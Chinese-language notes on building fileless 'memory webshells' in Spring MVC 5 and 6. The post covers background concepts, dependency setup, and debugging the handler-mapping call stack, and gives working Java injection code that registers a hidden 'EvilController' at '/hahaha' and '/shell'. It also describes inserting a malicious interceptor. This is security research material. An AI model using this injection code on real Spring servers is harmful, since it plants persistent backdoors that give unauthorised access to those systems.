参考

https://boogipop.com/2023/03/02/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/

https://goodapple.top/archives/1355

https://boogipop.com/2023/03/02/SpringBoot3.x%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0%E6%80%9D%E8%B7%AF/

前置知识

Ioc,控制反转,对象原本由人来控制现在变为用容器来控制。

依赖注入:程序需要的依赖由容器创建被注入到需要的地方。

bean,豆子,java这杯咖啡由豆子组成。每个对象都是一个豆子。

ApplicationContext,容器,装豆子的。

springboot和spring framework版本关系:

https://zhuanlan.zhihu.com/p/652895555

https://blog.csdn.net/guojiaqi_/article/details/134709718

后面说的spring几指的就是spring framework的版本。

环境搭建

单纯使用springmvc,没有使用spring boot。

和之前分析tomcat内存马一样,使用内置tomcat。

依赖

<properties>
<spring.version>5.2.5.RELEASE</spring.version>
<tomcat.version>8.5.81</tomcat.version>
</properties>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>

web.xml文件

image-20240205223005408.png

springmvc.xml文件

image-20240205222941761.png

applicationContext.xml

image-20240205223019164.png

Controller

image-20240205200151383.png

启动程序

image-20240205200126517.png

web.xml文件中,DispatcherServlet是一个普通的Servlet,下面的参数表示Spring配置文件的位置。

DispatcherServlet创建过程中,读取该配置文件,创建ApplicationContext,然后将bean加入到该Context中。

我们写的HelloController,是一个bean,被ApplicationContext管理,被自动注入要需要的地方,这就是依赖注入。

映射器

https://zhuanlan.zhihu.com/p/435384481

映射器的作用是:将请求的路由和处理请求的对象和方法对应起来。

Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。

下面我的测试只测试了RequestMappingHandlerMapping。

获取context

其中RequestContextUtils这个类,springframework 4.1.9.RELEASE存在,5.2.5.RELEASE提示不存在。

WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();

WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

WebApplicationContext context3 = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

一开始自己测试时,发现前两个是null。

image-20240205220607144.png

原来是因为web.xml里少了下面的代码:

image-20240205223358622.png

controller内存马

我只有这种方式可以。另外两种方式提示context不存在getBeanFactory方法(spring-framework和springmvc测试过许多版本,2,3,4,5,6都测试过一些,都不行)。

@RequestMapping(value = "/hello")
@ResponseBody //表示返回字符串hahaha,不会给资源识图解析器
public String index() throws Exception {

System.out.println("Controller!!!");
// 获取context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = (Class.forName("controller.EvilController").getDeclaredMethods())[0];

// 构造requestMappingInfo
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

// 注册
r.registerMapping(info, Class.forName("controller.EvilController").newInstance(), method);
return "hahaha";
}

interceptor内存马

调试方式:写一个正常的interceptor,断点打在preHandle,然后向下查看调用栈。

image-20240205234235588.png

在applyPreHandle方法中,遍历了this.interceptorList,所以要找到哪里设置了HandleExecutionChain对象的interceptorList。

在doDispatch方法中,有这个操作:mappedHandler = getHandler(processedRequest);,一直跟进,直到AbstractHandlerMapping的getHandlerExecutionChain方法。

image-20240205234900247.png

this就是RequestMappingHandlerMapping,很容易获得。

此时的调用栈:

image-20240205234943713.png

所以将恶意interceptor加入到RequestMappingHandlerMapping的adaptedInterceptors即可。

注入代码

image-20240205235110164.png

spring6

https://boogipop.com/2023/03/02/SpringBoot3.x%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0%E6%80%9D%E8%B7%AF/#SpringBoot2-6%E4%B9%8B%E5%90%8E%E7%9A%84%E6%94%B9%E5%8A%A8

pop的两种controller的版本分界是springboot2.6。

我没用springboot,全程使用springmvc。分别试了两种spring framework:5.2.5.RELEASE6.0.3。后者用新exp可以打,旧exp不行。所以spring framework的版本也存在分界,但具体多少不知道。

版本配置

现在使用spring6,tomcat和java也要变化。

Java 17

Tomcat 10.x (具体到多少没测,总之用的包是jakarta就行)

依赖

  <properties>
<spring.version>6.0.3</spring.version>
<tomcat.version>10.0.7</tomcat.version>
<!-- <tomcat.version>8.5.81</tomcat.version>-->
</properties>

之后原代码爆红就把javax改为jakarta即可。

interceptor内存马

和先前的注入方式一样。

controller内存马

调试方式:

断点打在AbstractHandlerMethodMapping#initHandlerMethods()

image-20240206132000071.png

向下查看调用栈,猜测到这里已经create了RequestMappingHandlerMapping这个bean,正在initHandler,即注册controller。

image-20240206131825355.png

跟进processCandidateBean,然后是detectHandlerMethods(beanName);

image-20240206132427711.png

getMappingForMethod,构造RequestMappingInfo。

image-20240206132628255.png

拿到mapping之后最下面就是注册了。

所以注入controller内存马思路:拿到上下文,拿到RequestMappingHandlerMapping,构造RequestMappingInfo,注册。

下面是注入代码,和先前版本的代码不一样的地方在于requestMappingInfo的获取,之前用的new,现在用build。

@RequestMapping(value = "/hello2")
@ResponseBody //表示返回字符串hahaha,不会给资源识图解析器
public String index() throws Exception {
System.out.println("i am in");

// 获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 构造requestMappingInfo
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)Util.getFieldValue(mappingHandlerMapping, "config");
Method method = (Class.forName("controller.EvilController").getDeclaredMethods())[0];
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();

// 注册
mappingHandlerMapping.registerMapping(info, new EvilController(), method);


return "hahaha";
}